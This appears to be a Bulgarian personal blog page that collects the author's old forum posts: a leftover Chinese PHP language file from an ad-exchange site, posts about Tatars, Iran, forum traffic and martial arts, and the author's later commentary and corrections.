$word1 = "输入";
$word2 = "用户";
$word3 = "密码";
$word4 = "注册";
$word5 = "电子邮件";
$word6 = "为你的网站发布免费广告";
$word7 = "广告";
$word8 = "忘记密码";
$word9 = "重要";
$word10 = "博客";
$word11 = "所有字段是强制性的";
$word12 = "名，姓";
$word13 = "密码";
$word14 = "确认密码";
$word15 = "电子邮件";
$word16 = "代码";
$word17 = "用户协议";
$word18 = "你的名字至少要3个字符";
$word19 = "密码至少要3个字符";
$word20 = "密码不相符";
$word21 = "请填写你的e-mail地址";
$word22 = "你输入了一个无效的e-mail地址";
$word23 = "范例";
$word24 = "我的广告";
$word25 = "点";
$word26 = "P";
$word27 = "我的广告";
$word28 = "添加广告";
$word29 = "框架";
$word30 = "优胜者";
$word31 = "服务";
$word32 = "退出";
$word33 = "网站在建设中";
$word34 = "赚取积分，你需要复制并把这个框架放在您的网站";
$word35 = "主页";
$word36 = "关于我们";
$word37 = "合作伙伴s";
$word38 = "联系";
$word39 = "保留所有权利";
$word40 = "你可以免费做广告";
$word41 = "免费广告";
$word42 = "你的网站，免费！";
$word43 = "图像";
$word44 = "添加广告";
$word45 = "剩下字符";
$word46 = "标题";
$word47 = "说明第1行";
$word48 = "说明第2行";
$word49 = "显示网址";
$word50 = "目标网址";
$word51 = "选择广告语言";
$word52 = "添加";
$word53 = "选择分类";
$word54 = "搜索引擎优化，广告和市场营销";
$word55 = "汽车";
$word56 = "计算机与电子技术";
$word57 = "绯闻和娱乐";
$word58 = "艺术与文化";
$word59 = "时尚造型";
$word60 = "媒体,新闻";
$word61 = "音乐和视频";
$word62 = "神秘学";
$word63 = "体育和赌博";
$word64 = "旅游";
$word65 = "贸易和服务";
$word66 = "门户网站和搜索引擎";
$word67 = "商业和金融";
$word68 = "约会和友谊";
$word69 = "游戏和娱乐";
$word70 = "物业和建设";
$word71 = "个人网页";
$word72 = "其他";
break;
}
?>
Превеждахме преди години това на руски, английски и китайски, както се вижда. (Отделно - му правихме следните допълнителни услуги:
а) Преводи на английски, руски, китайски и отчасти турски.
б) Вътрешна оптимизация на сайта
в) Външна оптимизация (линкове) на сайта
г) Образоване по различни въпроси относно интернет и оптимизация
д) Мой приятел отдели време да го образова по хардуеърни теми, които го интересуваха.) Не ни се плати нищо (както се казва, пихме една студена вода), та оттогава си знаем - без предварително заплащане да не се хващаме.
-
Тук пък съм запазил някакъв отговор до татарин, който не говори на татарски, а на турски. Явно е от турцизираните (или полутурцизирани) татари бил.
"Sitede Kazan Tatarlar?'ndan ne kadar az laf etsek aruvdur. ?ünki birevleri ?zlerini Kazan Tatar? zannetip olabilir.
Като помедитирах малко по въпроса реших да ти отговоря, значи темата се зачекна от друг човек, аз само следвах логиката му. И не виждам какво лошо има да се говори и за Казанските татари. Ти знаеш ли, че от Крим са им пращали по едно време ханове, много кримляни са отивали да живеят в Казан, също така, а и да не говорим, че преди разделянето на АЛТЪН ОРДА-та сме си една държава с тях.
Радваме се, че можеш да дадеш повече данни за Кримските татари, само не знам как ще стане разбирането от хората, дето не знаят турски - трябва да учат турски, за да разбират историята си за ТАТАРИЯ?...Някак си няма логика."
За да сме обективни, ще кажа, че не са само турцизираните татари - има си и доста русизирани, финландизирани, румънизирани, българизирани, китаизирани, узбекизирани... Просто тези, които живеят в други държави (а то, освен Татарстан, което е субект на Руската Федерация и до днес, няма татарска държава) се влияят от езика на държавата, където са.
-
В разговор с човек от друг форум, който беше решил, че за без пари ще губя време, сили и нерви да превеждам/преглеждам цели текстове от източни езици на български. Не си губете времето в безплатни услуги, особено ако отнемат много време! Това време е ценно, особено в днешния върл капиталистически, неофеодален и пълен с кризи свят, в който най-много страдат тези, които са бедни! Използвайте всяка свободна минута за трупане на някакъв вид капитал!
"За данните: Алекса.ком (единственият към днешна дата международен измервател на трафика) класира форумите по 2 фактора : а) посещения , б) брой разгледани страници.
В този смисъл, ако имаш 1 посетител, който гледа 20 страници, може да се класираш по-добре, отколкото, ако си с 2-ма посетителя, които са видели само 1 страница.
Това, което си видял във форума като числа (73 най-много досега и 61 най-много за днес) обозначават колко най-много ПО ЕДНО И СЪЩО ВРЕМЕ са гледали форума, а не колко са били общо за денонощието. Ако говорим за брой посетители, според Гугъл аналитикс аз имам между 300 и 600 на ден към днешна дата и растат все повече. Възможно е вие да имате и повече, но ако не разглеждат същия брой страници от моите, ще стоите назад в класацията.
Ето статистика колко много страници са разгледали при мене хората за последните 3 месеца:
Декември 191264
Ноември 164260
Октомври 155690
Сайтът и форумът ви се отчитат ЗАЕДНО в Алексата. Същото е и с домейните и поддомейните. Така че цитираните числа са и за сайта, и за форума. Колкото до другите форуми - те не се броят.
Цялата тази работа я писах, за да обясня на малката ни приятелка, че аз не съм опрял до евтина реклама да привличам потребители оттук. За това си има социални мрежи, от които правя понякога и по 100 посещения на тема. Идеята ми беше да не се ожесточават тука споровете, а ако искат да изпуснат пара - да минат в Свободната трибуна, където аз като админ давам по-волно да се говори.
Като форуми може да си помагаме - напр. размяна на линкове на челна страница и от сорта, но това ще го решат администраторите. Аз само го давам като идея.
Радвам се, че нямате пристрастеност към комерсиалното, защото леко се озадачих, когато ми се подхвърли, че северно-корейските диалекти (които обхващат НЕ САМО Северна Корея, но и цяла Манджурия в Китай, където пребивава корейското малцинство) нямало нужда да се имат предвид, щото не било комерсиално. Ама тук става дума за наука, а не кое е комерсиално. Иначе, ако е законно, да си направиш пари от познанията - няма лошо. Нали, все пак, някой трябва да плаща хостинг, домейн, модераторски заплати (ако има такива) и пр.
За "Българите" - мислех, че съм ти отговорил вчера, но видях, че съм пропуснал - гледал съм го. Там се прокарва Петър-Добревистката (Иранистка) гледна точка, която е ненаучна, но благодаря за желанието да помогнеш!
С обикновено прокси не може да се гледа Ютюб от Китай, а с хакерски истории не се занимавам, защото вече това може да докара сериозни присъди както в България, така и в Китай.
За преводите - пак казвам, че съм ужасно натоварен (макар и да не ми личи, сигурно, заради способността ми да пиша много бързо) и в момента даже отказвам поръчки за които ми се плаща. За да не си помислиш, че се измъквам - имам и публично доказателство за поредното си няколко месечно главоболие с една рускиня "преводачка":
kry4ma.com/index.php/topic,1644.0.html
Не я чети темата, само скролни надолу да видиш списъка от СТОТИЦИ грешки, които оправям и търпя финансови щети, заради изпуснати срокове и отказани поръчки. Ето защо и на тебе отказвам. Ако е да видя 2-3 изречения - може. Ама цели преводи да преглеждам - не бих могъл, а и виждаш как някои хора са чувствителни, когато им се намесваш в сферата като двамата кореисти, та още една причина да не се намесвам и всеки да си знае мястото - още повече, че съм вече на 35 години, семеен човек и се опитвам да ограничавам интернета, доколкото мога, защото втори развод не ми трябва (не, че първият има нещо общо с нета, но знам, че доста вреди на семейния живот потапянето във виртуални пространства)."
-
От 2006 по въпроси за бойни изкуства и свързаните с тях международни състезания.
Добруджански, много изпадна, бе , синко! Като видя, че с Гоми правят почти 40% успеваемост реши да го махнеш, че да паднат:))) Ама ти си бил наистина жалко човеченце. И какво стана като ги доведе до 33%? Я да сметнеш успеваемостта на любимите ти бразилци, тогава?
Бушидо 1:
4 победи - 3 загуби
Бушидо 2:
3 победи - 1 загуба
Бушидо 3:
2 победи - 2 загуби
Бушидо 4:
3 победи - 3 загуби
Бушидо 5:
2 победи - 0 загуби
Бушидо 6:
5 победи - 2 загуби
Бушидо 7:
0 победи - 4 загуби
Бушидо 8:
2 победи - 2 загуби
Бушидо 9:
...
(Явно недовършено копие. ;D )
-
В последно време са нашумели протестите в Иран. Аз уважавам феминизма. Заставам зад правата на жените в Иран. Ето от преди много години запазени постове по персийско (иранско) познание от интернет:
" Няколко години се занимавам с иранистика. Искам да ви кажа няколко факта за Иран. Това не е обикновена средноизточна държава. Тя има огромна територия (на 17 място в света). Не знам дали може да си представите какво означава това, ще го оразмеря като 15 Българии. Представяте ли си 15 Българии наредени една до друга каква територия е? Ако искате и с друг пример: Иран е колкото 2 Турции. Огромна страна! Населението на Иран е също огромно (на 18 място в света). Не знам дали може да си представите толкова голямо население, ще го оразмеря като 10 Българии. Представяте ли си 10 Българии наредени една до друга какво население е? Ако искате и с друг пример това е колкото 2 Полши. Огромно население!
Етнически иранците НЕ са араби. Много от хората се бъркат, защото Персия вече се казва Иран, а Иран прилича на Ирак. Населението на Иран са перси 60%, останалите са също един персийски народ кюрдите, а има и други, с които персийските народи са сигурно над 70%. Останалите са тюркски, семитски и индоевропейски народи (арменци, туркмени и др.). Арабите са само 3%.
Най-голямата религия в Иран е исляма, но не онзи ислям на арабите Сунитския, а Шиитския. Шиитският ислям се изповядва и от кюрдите.
Някои си мислят, че иранците пишат на арабски. Да само че това не е арабски, а модифициран арабски!!!
Иран е с много развита култура за която може да поговорим друг път. А Иранската кухня е много вкусна и приятна.
Сега да си додем на думата и за войната. Ако някой нападне Иран може и да не победи, защото Иран е с традиционна военна мощ. Преди Персийската империя е владяла даже част от днешна България от Добруджа до Странджа. Голяма сила. А днес Иран е още по-голяма сила. Столицата на Иран е супер град с много традиционна и модерна архитектура. Имат небостъргачи, които може да засенчат няколко американски градове. А армията на Иран разполага с много собствено оръжие и вносно от САЩ, Китай, Северна Корея, Русия и др.
Иран потресе света с последните си две военни учения. Едното беше в Персийския залив, в което американците не посмяха да се намесят. След него иранските военни казаха, че ако пак видят американски самолетоносач в Персийския залив ще има бой. А сега правят военно учение до Афганистан, пред носа на американските и НАТОски военни сили. И никой нищо не може да им каже. Иран успя да свали и американски самолет преди няколко седмици.
Много обикновени американци се страхуват от мощта на Иран. Кадрите на превъзходното им оръжие плашат и специалистите дори. Това са специални ракети няколко поколения, които вече могат да достигат много хиляди километри, това са добри самолети, това е тайна подземна лаборатория за ядрени разработки, това е добра наземна техника от танкове, бронетранспортьори, зенитни оръжия, леки оръжия.
Иран се ползва и със силен международен авторитет. Подкрепян е от много страни в Латинска Америка. Президентът на Иран Ахмединеджат посети Венецуела, а Чавес каза, че Иран искат да му попречат да стане сила, но той ще стане. Той вече е!
В Иран има само 2 пустини и не ми харесва да наричате иранците, че са "пустинни червеи". Иран е с планини, гори, степи, солени алувиални блата и други. Разнообразна природа с интересна фауна и флора.
Ако искате да разберете повече за тази силна държава попитайте ме и ще ви отговоря. Не искам да ги подценявате, защото си представете, че може да стане и както преди да стигне Иран до България. Понякога историята се повтаря.
Забравих да кажа, че Иран е много развит също така и икономически. МВФ му дава 26 място в света. Представяте ли си каква икономическа мощ е това? Това го оразмерявам като 9 Българии ! Представяте ли си го? Или по друг начин може да се оразмери Иранската икономика е колкото 2 Португалии или почти 2 Израела. А и продължават да се развиват. Може скоро много европейци да си търсят там хлебеца. Историята се повтаря.
България е свързана с Иран по 2 много интересни начина. За единия вече казах че едно време когато Персия е била агресивна е стигнала чак до България и е владяла всичко от Силистра, Варна до Бургас, Айтос. Толкова съм го запомнил от картите. Второто е също много интересно. С прабългарите идват ирански кланове. Четох, че един български историк пише че някои от прабългарските кланове са персийки. Значи и по кръв има роднинство с Иран. Учете ирански, може пък да ви потрябва. :)
България е шарена. Всеки един от нас е България. Много шарени прашинки някои по-добрички, други по-лошички. Затова аз казвам, че обичам някои неща в България а други не обичам. То не е лесно да отговориш. Аз съм пътувал много и във всяка държава съм виждал недоволни хора от държавата си. Всеки си мисли че в чужбинското е по-добре. По някой път наистина е. :)
Аз това съм си го мислил какво е щяло да стане, ако българите са останали в Турция. Четох в един друг форум, че малко е останало и това да се случи, ако българите са останали в Турция поне до времето на Младотурците. Казват, че са щели да спретнат един кьотек както на арменците и това е. И сега е щяла Турция да е по-голяма и по-силна, а българите да живеят при по-добри икономически условия. В момента Турция е с добра икономика. По една чужда телевизия я нарекоха "Турското икономическо чудо", защото само тя и Китай имали много голям + ръст за тази година. Значи представете си, ако Турция се простираше от Иран до Сърбия (ако включваше България) каква сила щеше да е това в днешно време.
Ти си интелигентен човек и ги разбираш само че за обикновените хора аз искам със сравнения за по-голям емоционален ефект пък и да е сигурно че са ме разбрали. Така ме учеше една госпожа в гимназията.
Амон кухнята им е превъзходна. Специално за тебе една виртуална почерпка с едно кабаби да си представиш какво е. en.wikipedia.org/wiki/File:Kababi_alborz2.jpg
Благодаря за комплимента за статията. Аз я писах набързинко, но ако се постарая мога да ги заформям и по-изящни като за вестник :)
Не. Чак толкова не може. Трудно е да гадаем. Но например колкото 1 Франция нищо чудно.
Българист е професия и като такава мисля, че се не пише с главна буква. Например "тракторист", "зидар", "българист". Така се пишат. Да не се засегнеш нещо, аз ти го казвам само защото виждам, че си голям родолюбец. Ако беше прочел по-добре поста ми, щеше да видиш, че съм написал точно същото, което и ти казваш. Ако не е имало Руско-Турска война, младотурската революция е щяла завинаги да завладее българските земи като част от Турция и днес, каквото е останало от местното население, да живее в една Голяма Турция, която вероятно е щяла да има по-добра икономика от днешната по-малка Турция. На мъжа по-горе писах, че може би поне колкото Франция да е сега сила.
Във всяка армия е имало изроди, които са крали, други са изнасилвали, трети са убивали под ред. Чел съм за историите и спомени на хора от много армии (вкл. и на стари българи, които са участвали във войните на България) казвали са, че са се намирали хора, сред войниците, които много са изнасилвали и безчинствали. Във войската на всяка държава влизат всякакви хора, някои са образовани, други са необразовани. Някои са социопати, други са нормални. Престъпленията по време на война са нещо, което не може да се избегне. Спомням си, че някъде имаше статистики за българските престъпления по време на Балканските войни, наредени заедно с гръцките, сръбските...беше нещо за вадене на очи и от този сорт. Ако някой се сети, може да го намери, че в момента никак не се сещам къде беше това.
Ето тук нещо подобно, а може и да е същото, което намерих в http://traditsia.com/forum/archive/index.php?t-4076.html
"1. В битката при Трогарци са намерени сръбски трупове с отрязани членове, натъпкани в устата им.
2. В битката на 17 и 18 юни били отрязани ушите и носът на Анджелко Йонич, докато бил все още жив (Н, I, 2).
3. В битката при Криволак на 21 юни очите на един сръбски доброволец били избодени (Н, I, 4в). 4. На 21 юни езиците на Живойне Милошевич и Божидар Савич били извадени и нарязани на парчета, защото нямали пари да се откупят от пленилите ги (Н, I, 4с).
5. На 19 юни Л. Милосавлевич видял трупа на един сръбски войник с извадени очи (Н, I, 4с).
6. Близо до село Драгово труп на сърбин бил привързан с обръчи към един стълб и после изгорен - видял го ефрейторът Живадич Милич (Н, I, 4с).
7. На 17 юни един сръбски военнопленник бил подмятан във въздуха сред викове ?Ура" и бил набучен на щикове при падането си - видяно от Арсен Живкович (Н, I, 4с). Същият случай е описан и другаде (близо до позицията Гарвантои).
8. На 18 юни един сръбски войник бил набучен на кол и изгорен (Н, 1,4с).
9. На 25 юни капитан Спиро Чаковски видял изгорения труп на сръбски войник на север от селото Кара Хазани (Н, I, 5).
10. Капитан Димитрий Чемерикич видял два изгорени трупа, единия близо до укреплението Чобе, а другия край село Криволак (Н, I, 5).
11. Един патрул забелязал на различии места обезобразени трупове с отрязани ръце и крака (Н, I, 5).
12. Обезобразени трупове са намерени на бойното поле. На един от тях била махната кожата на лицето, на друг били извадени очите, а трети труп бил изгорен (Н, I, 6)."""
Всяка държава си има собствено разбиране за права и свободи. Аз преди си говорих с един мюсюлманин, който ми каза, че е по-свободен от мен, защото аз мога да се оженя само за една, а той за ЧЕТИРИ жени :) Е, не е ли по-свободен от мене?
А кой ви излъга, че в Иран няма рафинерии? :D
Абаданската рафинерия не си ли я чувал? Толкова е известна: http://en.wikipedia.org/wiki/Abadan_Refinery
Ето и един линк за Иранските петролни компании: http://en.wikipedia.org/wiki/National_Iranian_Oil_Company
Не мога да разбера защо мислите Иран за изостанала държава? :( Повечето в този форум сигурно сте хора българи. Ами че Иран прави неща, които България още не може да прави, а България също не е съвсем изостанала държава. Щом Иран може да прави неща, които България не прави, тогава? (За да не ме пита някой какво пък толкова правят сега ще ви изредя един списък: обогатяване на уран в подземна лаборатория, за което гледах по новините, че тези дни са си признали. Строеж на небостъргачи: вижте Техеран на какво прилича http://en.wikipedia.org/wiki/File:Northern-Tehran.JPG . Правене на собствени марки коли - сигурно това най-много ще ви втрещи като го видите: http://en.wikipedia.org/wiki/Automotive_industry_in_Iran)
Последните 2 века българите получават повече права, отколкото в началото. Но не ми се прави проучване. Аз предпочитам да си говорим за Иран, защото преди малко показах какви коли правят http://en.wikipedia.org/wiki/Automotive_industry_in_Iran и , че са развита държава. А Иранската армия може да победи най-вероятно САЩ и Израел. Те затова и не смеят да ги нападнат. Аз си мисля, че по-скоро Сирия ще нападнат, макар че и с нея ще имат главоболия, но Иран мисля, че не могат да го победят вече. Изпуснаха момента.
Забравих да ви кажа, че метрото в Иран е също голяма работа. Ето една снимка http://en.wikipedia.org/wiki/File:Tehran-subway-station.jpg
Това е Техеранското метро.
Локално. Знаеш ли защо? Защото тези многото ще пратят например 10 % ресурс. После може да увеличат и на 15 %. Но Иран се бие на своя и около своя територия. Той ще вкара вероятно целия си ресурс, който е толкова голям, че би могъл да унищожи техните бази, кораби, да посвали доста самолети и т.н. А, когато ковчезите започнат да идват обратно в САЩ или във Франция все едно къде, започват едни неща, на които им викат протести, прерастват в масови протести и накрая многото, които са се наредили един до друг си обират каквото е останало от тях и се прибират вкъщи. Това вече се е случвало в една държава, която е много по-малка от Иран, казват й "Виетнам" :) Там САЩ губят войната през седемдесетте години на миналия век.
Ето защо никой не говори за това, че Иран ще завладее САЩ или някой друг. Просто казвам, че може да победи локално и да ги изхвърли от държавата и даже от околностите си, защото Иран е вече регионална сила и армията му е най-силната в района и една от най-силните в света.
Уф, че се сетих още един пример, за да ме разбереш по-стабилно. Източната Римска империя (която по-късно в Европа почват да наричат Византия) е била много по-голяма и по-населена от Крумова България. Обаче хан Крум печели войната. Не завладява Византия, но печели войната и нанася големи поражения на Византия. Нещо такова ще е сигурно и със САЩ, ако нападнат Иран. Може Иран да няма ресурса да изстреля ракети до САЩ или пък да прати самолетоносачи (то Иран даже няма самолетоносачи, макар и да има много опасен военно-морски флот), но колкото да изпопребие доста САЩски или други сили наоколо - ИМА ресурса. А те не могат да си позволят една дълга война, в момента, когато започнат да прииждат ковчезите с войници и войнички, народът ще се навдигне и политиците ще спрат войната. А Иран трудно ще спре. Някои анализатори казват, че те и половината си население може да изгубят, но пак няма да се предадат.
А то трябваше ли да съм интересен? Аз мислех, че само си лафкаме за война с Иран.
Въпросът е дали Израел ще се навътрят с война, при положение, че някои ирански ракети може да им взривят ядрените запаси. Още по-интересен е въпросът Израел да не се ненормални, че да пускат ядрено оръжие толкова близко до собствената си държава. Да не говорим за това, че доста държави много ще им се разсърдят, ако направят някакво ядрено замърсяване. Досега нито една страна не си е позволила да използва ядрено оръжие след САЩ. Едва ли Израел ще го направят. Според мен сценарият с ядрена война отпада.
А Иран, ако нападне Израел, тогава Израел ще се включи, ако нещо остане от него. Недостатъкът на Израел е, че е много микроскопичен (по-малък от Македония и малко по-голям от островите Фиджи) и може да бъде разрушен доста по-бързо, особено от страна, която е много близко (на 2 държави разстояние) като Иран.
Охааа, колко много отговори. Вай, не мога да ви смогна :) Извинете ме, но не мога да отговоря на всички. Този форум много активен. Еваларката за което!
Затрупахте ме с мнения, не мога. Не съм свикнал :) Даже не можах и да изчета всичките. Човек трябва да си вземе отпуск и да чете само тоя форум, ако иска да може да следи всичко и да отговаря на всичко. Това си е направо море от мнения тука, водопад Ниагарски.
Благодаря за идеята, но няма много търсене както гледам по Google Trendsa. Още търся Нишата, която ще ми позволи да направя нещо вървежно на български. Засега не съм я намерил.
САЩ са многонационална страна и в това няма никакъв спор. Преди бях чел, че дори японците и латиносите вече заемали голям процент от населението, а и имали власт, която може да се измерва с тази на евреите. В САЩ има даже ИРАНСКИ ЕМИГРАНТИ. Последният американски шпионин заловен в Иран беше от САЩ, но с ирански корени. Мисля, че беше първо поколение американец.
Имам приятели американци. Не знам как си представя всеки един от вас тези хора, но мога да ви кажа, че са много различни хора. Имаше един умен човек, който каза, че всички си мислят, че те обичат президента Обама, че ядат хотдог и хамбургер, и че са дебели :) Прав беше. Стереотип на килограм. Обаче не е така. Няма нищо против американците. Обаче Персия или Иран е много древна страна, а също и много съвременна, която си има машиностроене, автомобилна промишленост, ядрена промишленост, военна промишленост. В някои отношения е на 10 години пред европейски страни като Гърция, България, Полша, Чехия...Искам да ви кажа да не ги подценявате. Желая на тези хора всичко най- добро и ви казвам като на предприемачи да си насочите погледа натам. Може сега да не се усеща, но след 10 или 20 или 30 години всеки ще търси преводи на персийки. Учете езика, търсете контакти. За България Иран може да се окаже ЗЛАТНА възможност.
Всъщност президентът на Иран е малко като президентът на Германия. Истинските водачи на Иран са аятоласите. Не казвам, че Ахмединеджат съвсем няма власт, но в Исламска Република Иран аятолахът е нещо сериозно. Ето линк и не ми се сърдете, че ви давам линкове от уикипедия, но просто това ми е най-бързото и ми спестява време http://en.wikipedia.org/wiki/Ayatollah
Иранските спецчасти са последната дупчица на кавалеца. Виж какво е Иранския флот (който не е пасивен като бившия Югославски или Либийския) и който няма да чака американски или някакви си самолетоносачи да стоят и да стрелят с Пейтриът и да пращат Стелтове.
После виж и ВВС на Иран какво е. После помисли и с кого граничи и какви нови чудеса на военната техника би получил по границите.
А за езика сега сериозно дай да си говорим. Един език винаги може да ти е от полза. Почни да учиш от сега. В нашия език има много ирански думи и ще ти е лесно. Ще ти дам примери с някои думи с ирански произходи като "ханче", "дюшеш" (от играта на табла) и още много други. Иранският език е индоевропейски и е близко до славянските езици. Дори в древнославянския има ирански думи, но това е много дълга тема с която не бих ви занимавал. "
-
Някои вметки относно иранистиката:
1. туркмените (поне езиково) не са индоевропейски, а алтайски (огузка група на тюркските езици). В случай, че някой е прочел неправилно. Иначе изречението е коректно, защото отбелязва и тюркските езици/народи.
2. Иран днес може и да е по-голяма сила от Персия, но в сравнителен план Иран не е толкова силен в днешния свят, колкото е била Персия през древността. Например ако Персия тогава е била в ТОП 3, то сега Иран най-много да е в ТОП 10.
3. Иранската армия може и да е регионална сила, но предвид че нямат ядрено оръжие (и предвид, че дори много по-силната армия на Русия, в днешно време, не може да победи с месеци една поддържана от НАТО и още няколко Украйна) може да се предполага, че Иран по-скоро ще изгуби една такава подобна война.
4. Иранската армия наистина има и напредничави разработки, но като цяло не може да съперничи на най-развитите западни армии.
5. За да стигне до България, трябва да премине Турция. А Турция едва ли може да бъде победена, особено ако се има предвид, че е част от НАТО, което има задължението да помага при агресия срещу някой негов член.
6. Иранската икономика имаше шансове, но преди санциите. Напоследък Иран е в криза. Да не говорим и за опустошителните последици от войната на Русия в Украйна, КОВИД-кризата, а сега и протестите/бунтовете...
7. При прабългарите е имало и нетюркски групи - ирански, угорски..., както и тюркски. Просто напомням, че основно това са тюрко-алтайски народ, говорещ уникален ЛиР-език (единственият такъв в днешно време е чувашкият, който аз наричам "новопрабългарски").
8. Не съм никакъв оптимист за бъдещото развитие и влияние на Иран - едно, че вече сериозно пострада от толкова много удари (споменати по-горе - санкции, руската авантюра, КОВИД-а, бунтовете), друго че самите му геополитически приятели също губят мощ (в повечето случаи - пресни примери със саморарушителните действия на Русия и Китай; безумната война и безумната "0 КОВИД" политика на невъзможното), трето че Иран има много и то силни врагове (Израел, Саудитска Арабия, САЩ...)
-
Май още нямаме нищо тук за сприятеляване. Ето нещо от преди години, когато се опитвах да се сприятелявам с хора, които не приеха: "Здрасти! Бих искал да ме добавиш за приятел. Харесваш ми на външен вид, а и по това, което пускаш като отношение, затова искам да се сприятелим. Аз имам разни сайтове - може и интервю да ти взема, ако пожелаеш, защото ще правя нещо като рубрика в защита на българските турци, татари и др., защото много хора ги атакуват неправилно."
Така и не се получи с рубриката, но пък тук доста неща има за татарите и другите тюркски народи.
-
Големи майтапи от едно време (Около 2006 година или по-рано.)
"Относно делото
Здравейте, Z.,
Аз съм администраторка. Предлагам Ви, вместо да се съдим помежду си, да ни дадете всички данни за лицето с ник "..", което се представя оше като "Д.", "Т." или "Г. К.", за да заведа делото аз. Искрено се надявам данните Ви да са достоверни, останалото е наша работа.
Освен това, ще ви предупредя, че нивото на нашия форум е друго и тук не се допуска език, какъвто вие употребявате. Контролирайте се, за да не се трият системно нещата, които пишете и да не последва бан.
=======
аз съм от админисрацията. Имам специално предложение до потребител с име "З.", който възнамерява да съди нас и въпросният Г. К.
Изпратих му лично съобщение, но понеже не съм сигурна, че ще го получи скоро, ще Ви помоля да му го предадете като дупликат по каналите на ... .бг, за да можем да осъществим по-скорошен контакт. Доколкото знам се познавате и няма да ви представлява затруднение. Предварително Ви благодаря за съдействието!
Ето дупликатът, който трябва да бъде предаден:
...
----------
Subject: Готово,
както виждате нещата се наредиха и изчистиха. Радвам се, че се разбрахме с вас. Ако може да си позволя само едно уточнение:
Не съм изчела отблизо всеки довод и доказателство в споровете ви и няма да вземам страна, но, в качеството си на специалист искам да ви кажа, че от това, което забелязах при развитието на спора от последните дни наистина вашият администратор - "Ч. С.", когото наричате "O. M." се опита да промени един гиф, което се отрази на всички постове, след което си го призна. По-късно, по някакви причини, реши да заблуди Вас и останалите като направи нови изялвления. Пиша Ви това, за да Ви предупредя да сте внимателен с този човек, който е от типа хора, които биха настъпили и най-близките си, за да си запазят дребната душа. Приемете го като жест на подкрепа от моя страна, тъй-като сте ми по-симпатичен и не само, заради това, че сте роднина на М. В. :) Още по-малко не и за да защитавам Т. (К.). Правя го от добро сърце и уважение!
Благодаря ви и аз за разбирането!
Всичко добро на Вас и на семейството Ви!
----
Б., ставаше въпрос за потребителят З., който в нашият форум се регистрира като "З.". За щастие осъществихме контакт с него и се разбрахме, но, все пак Ви благодаря за готовността за съдействие!
За Г. К. - не съм проследила това, за което говорите, но се надявам да не ме лъжете. Ако всичко, което казвате е вярно, бих се погрижила да се вземат мерки. Като за начало, понеже съм любителка на поезията и уважавам искрено всеки един творец на словото (въпреки, че сама не пиша, но нима всеки запалянко може да играе футбол?:) Нима всеки любител на поетичното може да е и поет?), много ме възмути това, което казвате:
Заради него вече се отказах да пиша и в История, и в Поезия.
Ето защо ще ви помоля да се погрижите да ми предоставите линкове от форумът ни "Поезия", където се е случило противоречието Ви с него, за да мога да го използвам като повод! И един-два линка са достатъчни, за да ми покажете, а, отделно и аз да покажа на колегите си как в "Поезия" той ви е казал нещо лошо или Ви е провокирал или каквото там е станало, вие знаете по-добре от мен.
След това може да обсъдим поведението му в "История", "Бойни изкуства" и др. места, където сте спорили, за да анализираме заедно с Вас ситуацията!
И на Вас всичко добро!
_______
Благодаря Ви ! Моите Уважения !
Сега може и да затриете и ник Z. , че е само баннат по IP , та за да Ви пиша от новия си ник , трябва да си сменям IP-то , защото сте баннали служебния ми :)
Хм , направили сте бърза справка за мен , а как така Ви се видях симпатичен ?! Аз съм грозен тип , а като някой ме предизвика с простотии , подвеждаща информация , откровенни лъжи , и т.н. , понякога не мога да се сдържа и си "отпускам езика" .
Надявам се , някой път и аз да мога да ви услужа с нещо .
Желая Ви всичко добро и на Вас и на семейството Ви !
С Уважение
___________
Subject: Информация
Здравейте!
Имах предвид, че сте ми по-симпатичен като начин на действие - пряко и мъжествено, а не подмолно, както вашият администратор и на такава база Ви сравних. Иначе не Ви познавам визуално, но смятам, че сте си нормален човек. Както и да е, това не е важно.
Относно вулгарният език - забравила съм го, няма нужда да си спомняме тези неща. Радвам се, че сега всичко е чисто.
И последно - относно IP - адресът не знаех, аз само разчиствах темите, а също изчистих и тази, за която ме помолихте. Вероятно отношение към бана Ви има B.Y., а аз не съм оторизирана да се намесвам в действията на колегите си, както те не се намесват в моите. Нещо като неписано правило, което няма как да не спазваме, за да върви добре сътрудничеството и бизнесът. Предполагам, че ще ви изслуша и ще вземе правилното решение. Аз, с каквото можах, се опитах да помогна и да съм полезна.
Моля всичко казано да си остане между нас!
Благодаря Ви за добрите думи
________
С цялото ми уважение, но започвам да си мисля, че просто лично сте настроен към него, дотук не можахте да ми дадете никакви убедителни доказателства за твърденията си. Ще отделя от времето си и ще се обоснова подробно, като в замяна очаквам от вас или да направите същото или да не подвеждате хората за сметка на личните си пристарстия към когото и да било.
1.В "Поезия" той не се прояви, но използва писаните ми там стихчета, за да ми се подиграва. Те не са някаква професионална работа, но са си мои и идват от сърцето ми...
Вие казахте, че сте се отказали заради него да пишете в "Поезия", сега се оказва, че той дори не се е появил там. Извинявайте, но това е подвеждане! Сега казвате, че ги е използвал, за да Ви се подиграва. Ще се съглася да приема новата ви теза, но искам линк (доказателство), за да преценя дали това е подигравка и при какви обстоятелства се е случила. Съветвам Ви да сте много коректен!!!
2.Гледам, че в "История" са позачистени разни неща и повечето спорове с него ги няма, но примерно тук:
...
може да се види типичния му стил на писане към мен.
Не съм Ви питала за "История" все още, исках да изясним случая с "Поезия", но щом повдигате въпроса - добре, като междувременно, няма да забравя, че не сме изяснили първият въпрос. Напомням ви, че сте длъжен да покажете линк, в който се е подигравал с поезията Ви, за да преценим и изследваме нещата!
За линкът ви от история:
1. Вие сте го нападнали с провокативната дума "бисер". Доколкото виждам той се е противопоставил на тезата, че онези хора, свързанис Куберовите прабългари нямат право да се наричат "българи" и е казал, че, по такава логика, ние не бива да се наричаме така, понеже сме доста славянизирани. В отговор на това, без да проследите диалогът, сте изнесли извън контекста неговото изречение и сте го провокирали с "бисер".
След това виждам, че Ви е обяснил основанията си така:
Б., БУЛГАР идва от самоназванието на прабългарите. Техните най-преки потомци са чувашите и татарите. От колега те биват обявени за "североизточни племена". В същото време славянизиран народ като Дунавските българи, в чийто жили тече също така турска, норманска, византийска и прочие кръв, е окупирал само за себе си названието "БЪЛГАР"... Защо и на какво основание?
2. И ТУК СТЕ СЕ ОПИТАЛ ДА МЕ ПОДВЕДЕТЕ:
По принцип не претендирам, че разбирам кой знае какво от история, но точно в онзи период четях няколко книжки на Божидар Димитров, който по принцип ми харесва и го имам за авторитет и си спомням, че като го посочих като място от където черпя материал - реакцията на господина с йерогрифите беше нещо от сорта - "Ми той Божидар Димитров нищо не разбира, ти мен ме слушай, аз съм прав!" и никакви извори не спомена...
Вижте какво Ви е отговорил за Божидар Димитров:
